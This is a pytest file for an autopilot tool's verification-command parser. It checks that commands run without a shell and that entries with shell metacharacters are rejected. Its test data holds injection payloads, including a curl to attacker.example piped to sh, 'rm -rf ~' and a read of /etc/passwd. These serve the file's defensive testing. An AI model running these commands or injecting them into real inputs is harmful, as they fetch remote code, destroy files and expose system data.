235 lines
7.7 KiB
Python
235 lines
7.7 KiB
Python
"""Parsing and execution tests for autopilot verification commands."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import sys
|
|
from pathlib import Path
|
|
from typing import Any
|
|
|
|
import pytest
|
|
|
|
from openharness.autopilot import service
|
|
from openharness.autopilot.service import (
|
|
_DEFAULT_VERIFICATION_POLICY,
|
|
RepoAutopilotStore,
|
|
_parse_verification_entry,
|
|
)
|
|
|
|
|
|
def test_plain_string_is_parsed_to_argv_without_shell() -> None:
|
|
cmd = _parse_verification_entry("uv run pytest -q")
|
|
assert cmd.error is None
|
|
assert cmd.shell is False
|
|
assert cmd.argv == ("uv", "run", "pytest", "-q")
|
|
assert cmd.raw == "uv run pytest -q"
|
|
|
|
|
|
def test_quoted_arguments_preserve_whitespace() -> None:
|
|
cmd = _parse_verification_entry('uv run ruff check "src tests" scripts')
|
|
assert cmd.error is None
|
|
assert cmd.argv == ("uv", "run", "ruff", "check", "src tests", "scripts")
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"payload",
|
|
[
|
|
"pytest; curl attacker.example/x | sh",
|
|
"pytest && evil",
|
|
"pytest || evil",
|
|
"pytest `whoami`",
|
|
"pytest $(whoami)",
|
|
"pytest > /tmp/pwn",
|
|
"pytest < /etc/passwd",
|
|
"pytest\nrm -rf ~",
|
|
],
|
|
)
|
|
def test_shell_metacharacters_are_rejected_without_opt_in(payload: str) -> None:
|
|
cmd = _parse_verification_entry(payload)
|
|
assert cmd.error is not None
|
|
assert "shell: true" in cmd.error
|
|
assert cmd.argv == ()
|
|
assert cmd.shell is False
|
|
|
|
|
|
def test_mapping_form_with_shell_true_is_opt_in() -> None:
|
|
cmd = _parse_verification_entry(
|
|
{"command": "cd frontend && npm ci && tsc --noEmit", "shell": True},
|
|
)
|
|
assert cmd.error is None
|
|
assert cmd.shell is True
|
|
assert cmd.raw == "cd frontend && npm ci && tsc --noEmit"
|
|
|
|
|
|
def test_mapping_form_without_shell_falls_through_to_argv_validation() -> None:
|
|
cmd = _parse_verification_entry({"command": "pytest -q"})
|
|
assert cmd.error is None
|
|
assert cmd.shell is False
|
|
assert cmd.argv == ("pytest", "-q")
|
|
|
|
|
|
def test_mapping_with_metacharacters_and_shell_false_is_still_rejected() -> None:
|
|
cmd = _parse_verification_entry({"command": "pytest; evil", "shell": False})
|
|
assert cmd.error is not None
|
|
assert cmd.shell is False
|
|
|
|
|
|
def test_empty_entry_is_an_error() -> None:
|
|
assert _parse_verification_entry("").error == "empty command"
|
|
assert _parse_verification_entry(" ").error == "empty command"
|
|
assert _parse_verification_entry({"command": ""}).error == "empty command"
|
|
|
|
|
|
def test_non_string_non_mapping_entry_is_an_error() -> None:
|
|
cmd = _parse_verification_entry(42)
|
|
assert cmd.error is not None
|
|
assert "string" in cmd.error
|
|
|
|
|
|
def test_unclosed_quote_surfaces_a_tokenization_error() -> None:
|
|
cmd = _parse_verification_entry('uv run "pytest')
|
|
assert cmd.error is not None
|
|
assert "tokenize" in cmd.error
|
|
|
|
|
|
def test_default_policy_parses_cleanly() -> None:
|
|
parsed = [_parse_verification_entry(entry) for entry in _DEFAULT_VERIFICATION_POLICY["commands"]]
|
|
assert all(p.error is None for p in parsed), [p.error for p in parsed if p.error]
|
|
assert parsed[0].shell is False
|
|
assert parsed[1].shell is False
|
|
# The frontend tsc step intentionally opts in to shell=True
|
|
assert parsed[2].shell is True
|
|
|
|
|
|
def _build_store(cwd: Path) -> RepoAutopilotStore:
|
|
# RepoAutopilotStore requires a repo-like layout; tests only exercise the
|
|
# verification helpers, which do not depend on the rest of the store state.
|
|
store = RepoAutopilotStore.__new__(RepoAutopilotStore)
|
|
store._cwd = cwd # type: ignore[attr-defined]
|
|
return store
|
|
|
|
|
|
def test_run_verification_emits_error_step_for_metachar_entry(
|
|
tmp_path: Path,
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
called: dict[str, Any] = {}
|
|
|
|
def _boom(*args: Any, **kwargs: Any) -> Any: # pragma: no cover - must not run
|
|
called["ran"] = (args, kwargs)
|
|
raise AssertionError("subprocess.run must not be invoked for rejected entries")
|
|
|
|
monkeypatch.setattr(service.subprocess, "run", _boom)
|
|
|
|
store = _build_store(tmp_path)
|
|
policies = {"verification": {"commands": ["pytest; curl evil | sh"]}}
|
|
steps = store._run_verification_steps(policies, cwd=tmp_path)
|
|
|
|
assert "ran" not in called
|
|
assert len(steps) == 1
|
|
assert steps[0].status == "error"
|
|
assert "shell metacharacters" in (steps[0].stderr or "")
|
|
|
|
|
|
def test_run_verification_uses_argv_and_shell_false_for_plain_string(
|
|
tmp_path: Path,
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
seen: dict[str, Any] = {}
|
|
|
|
class _Completed:
|
|
returncode = 0
|
|
stdout = ""
|
|
stderr = ""
|
|
|
|
def _fake_run(target: Any, **kwargs: Any) -> _Completed:
|
|
seen["target"] = target
|
|
seen["shell"] = kwargs.get("shell")
|
|
return _Completed()
|
|
|
|
monkeypatch.setattr(service.subprocess, "run", _fake_run)
|
|
# Bypass _looks_available's pyproject check for a tmp path.
|
|
monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True)
|
|
|
|
store = _build_store(tmp_path)
|
|
policies = {"verification": {"commands": ["uv run pytest -q"]}}
|
|
steps = store._run_verification_steps(policies, cwd=tmp_path)
|
|
|
|
assert seen["shell"] is False
|
|
assert seen["target"] == ["uv", "run", "pytest", "-q"]
|
|
assert len(steps) == 1
|
|
assert steps[0].status == "success"
|
|
|
|
|
|
def test_run_verification_honors_explicit_shell_opt_in(
|
|
tmp_path: Path,
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
seen: dict[str, Any] = {}
|
|
|
|
class _Completed:
|
|
returncode = 0
|
|
stdout = ""
|
|
stderr = ""
|
|
|
|
def _fake_run(target: Any, **kwargs: Any) -> _Completed:
|
|
seen["target"] = target
|
|
seen["shell"] = kwargs.get("shell")
|
|
return _Completed()
|
|
|
|
monkeypatch.setattr(service.subprocess, "run", _fake_run)
|
|
monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True)
|
|
|
|
store = _build_store(tmp_path)
|
|
policies = {
|
|
"verification": {
|
|
"commands": [{"command": "cd x && y", "shell": True}],
|
|
},
|
|
}
|
|
steps = store._run_verification_steps(policies, cwd=tmp_path)
|
|
|
|
assert seen["shell"] is True
|
|
assert seen["target"] == "cd x && y"
|
|
assert steps[0].status == "success"
|
|
|
|
|
|
def test_run_verification_reports_missing_executable_as_error_step(
|
|
tmp_path: Path,
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
def _raise_fnf(*args: Any, **kwargs: Any) -> Any:
|
|
raise FileNotFoundError("nope")
|
|
|
|
monkeypatch.setattr(service.subprocess, "run", _raise_fnf)
|
|
monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True)
|
|
|
|
store = _build_store(tmp_path)
|
|
policies = {"verification": {"commands": ["missing-binary --help"]}}
|
|
steps = store._run_verification_steps(policies, cwd=tmp_path)
|
|
|
|
assert len(steps) == 1
|
|
assert steps[0].status == "error"
|
|
assert "executable not found" in (steps[0].stderr or "")
|
|
|
|
|
|
def test_metachar_inside_quotes_is_still_rejected() -> None:
|
|
# The metacharacter scan intentionally runs on the raw string before
|
|
# tokenization. That is conservative: a command that needs `;` inside a
|
|
# quoted argument must declare shell=true explicitly, which surfaces the
|
|
# escalation in policy diffs and PR review.
|
|
cmd = _parse_verification_entry("python3 -c 'import sys; sys.exit(0)'")
|
|
assert cmd.error is not None
|
|
|
|
|
|
def test_run_verification_end_to_end_without_shell(
|
|
tmp_path: Path,
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
"""Sanity check that the argv path reaches a real subprocess with shell=False."""
|
|
monkeypatch.setattr(service, "_looks_available", lambda command, cwd: True)
|
|
store = _build_store(tmp_path)
|
|
policies = {"verification": {"commands": [f"{sys.executable} --version"]}}
|
|
steps = store._run_verification_steps(policies, cwd=tmp_path)
|
|
assert len(steps) == 1
|
|
assert steps[0].status == "success"
|
|
assert steps[0].returncode == 0
|